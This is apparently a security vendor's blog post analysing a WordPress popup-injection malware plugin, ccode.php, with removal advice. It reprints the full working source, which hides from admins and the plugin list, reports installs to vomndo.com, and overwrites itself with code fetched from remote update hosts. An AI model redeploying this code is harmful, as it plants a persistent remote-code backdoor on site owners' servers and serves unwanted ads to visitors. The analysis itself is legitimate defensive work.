Tracking Down New WordPress Popup Injection Malware
Update – Contact security@prophaze.com to clean this variant and secure your website from similar attacks
An interesting fact about the malware is
- It’s not showing to admin users of the website.
- Not showing to logged-in users.
- Even for not logged in users, the popup is running at different times of the day.
- Popup is distributed in different regions
Site-admin did a complete update of WordPress core – No change
Updated all plugins – No change
Updated the current theme and plugins – No change
Disabled all the plugins and switched to default theme – No change
Finally, in the wp-plugins directory, a file name ccode.php was found with malicious code
Upon inspecting the code, it was
- Hiding the popups from admin ips.
- Not showing in for logged in users.
- Hiding itself from Active plugins list.
And few other typical behaviors as shown below
add_action( 'admin_init', function() {
register_setting( 'ccode-settings', 'default_mont_options' );
register_setting( 'ccode-settings', 'ad_code' );
register_setting( 'ccode-settings', 'hide_admin' );
register_setting( 'ccode-settings', 'hide_logged_in' );
register_setting( 'ccode-settings', 'display_ad' );
register_setting( 'ccode-settings', 'search_engines' );
register_setting( 'ccode-settings', 'auto_update' );
register_setting( 'ccode-settings', 'ip_admin');
register_setting( 'ccode-settings', 'cookies_admin' );
register_setting( 'ccode-settings', 'logged_admin' );
register_setting( 'ccode-settings', 'log_install' );
});
Also it auto updates from several domain
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php")
OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php"))
AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false
AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
Different url it uses if one goes down
1) http://www.vomndo.xyz
2)http://www.vomndo.top
Code to hide from active plugin list
add_action('pre_current_active_plugins', 'hide_plugin_ccode');
Just delete the ccode.php from wp-plugins.php , and update wordpress core and other plugins , because its clear that a bot
or exploit might have used an existing vulnerbility to inject this code into plugins directory
Full code for reference
<?php
/**
* Plugin Name: Custom Code
* Description: show cusom ad codes with many options .
* Author: Alberto Uozumi
* Version: 1.0
*/
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='513ca0e9b3d5b9dbce390430591d7f43';
$version='1.2';
add_action('admin_menu', function() {
add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' );
remove_submenu_page( 'options-general.php', 'ccode' );
});
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode');
function salcode_add_plugin_page_settings_ccode( $links ) {
$links[] = '<a href="' .
admin_url( 'options-general.php?page=ccode' ) .
'">' . __('Settings') . '</a>';
return $links;
}
add_action( 'admin_init', function() {
register_setting( 'ccode-settings', 'default_mont_options' );
register_setting( 'ccode-settings', 'ad_code' );
register_setting( 'ccode-settings', 'hide_admin' );
register_setting( 'ccode-settings', 'hide_logged_in' );
register_setting( 'ccode-settings', 'display_ad' );
register_setting( 'ccode-settings', 'search_engines' );
register_setting( 'ccode-settings', 'auto_update' );
register_setting( 'ccode-settings', 'ip_admin');
register_setting( 'ccode-settings', 'cookies_admin' );
register_setting( 'ccode-settings', 'logged_admin' );
register_setting( 'ccode-settings', 'log_install' );
});
$ad_code="
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
";
$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';
function ccode_page() {
?>
<div class="wrap">
<form action="options.php" method="post">
<?php
settings_fields( 'ccode-settings' );
do_settings_sections( 'ccode-settings' );
$ad_code='';
$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';
?>
<h2>ccode Plugin</h2>
<table>
<tr>
<th>Ad Code</th>
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
</tr>
<tr>
<th>Hide ads to :</th>
<td>
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<label>
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
</label>
<label>
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
</label>
<br/>
</td>
</tr>
<tr>
<th>Recognize admin by :</th>
<td>
<label>
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
</label>
<label>
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
</label>
<label>
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
</label>
</td>
</tr>
<tr>
<th>Display ads to :</th>
<td>
<select name="display_ad">
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
</select>
</td>
</tr>
<tr>
<th>Search Engines</th>
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
comma separated </p>
</td>
</tr>
<tr>
<th>Auto Update :</th>
<td>
<label>
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
</label><br/>
</td>
</tr>
<tr>
<td><?php submit_button(); ?></td>
</tr>
</table>
</form>
</div>
<?php
}
/*************************log install***************************/
if(get_option('log_install') !=='1')
{
if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
$log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
/*************************set default options***************************/
if(get_option('default_mont_options') !=='on')
{
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
}
/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php');
if ( ! function_exists( 'display_ad_single' ) ) {
function display_ad_single($content){
if(is_single())
{
$content=$content.get_option('ad_code');;
}
return $content;
}
function display_ad_footer(){
if(!is_single())
{
echo get_option('ad_code');
}
}
//setting cookies if admin logged in
function setting_admin_cookie() {
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}
if(get_option('cookies_admin')=='on')
{
if(is_user_logged_in())
{
add_action( 'init', 'setting_admin_cookie',1 );
}
}
//log admin IP addresses
$vis_ip=getVisIpAddr_ccode();
if(get_option('ip_admin')=='on')
{
if(current_user_can('edit_others_pages'))
{
if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}
if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.'
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);
}
}
}// end if log admins ip
//add cookies to organic traffic
if(get_option('display_ad')=='organic')
{
$search_engines = explode(',', get_option('search_engines'));
$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
if (strpos($referer,$search)!==false) {
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$organic=true;
}
}
}//end
//display ad
if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
{
$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $vis_ip) === false)
{
/*****/
if(get_option('display_ad')=='organic')
{
if($organic==true || isset($_COOKIE['organic']))
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
}
}
else
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
}
/****/
}
}
/*******************/
//update plugin
if(get_option('auto_update')=='on')
{
if( ini_get('allow_url_fopen') ) {
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
}
else
{
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php")
AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false
AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false
AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
}
}//end if auto update
/*********************************/
}// if function exist
function file_get_contents_ccode($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function hide_plugin_ccode() {
global $wp_list_table;
$hidearr = array('ccode.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_action('pre_current_active_plugins', 'hide_plugin_ccode');
function getVisIpAddr_ccode() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
?>
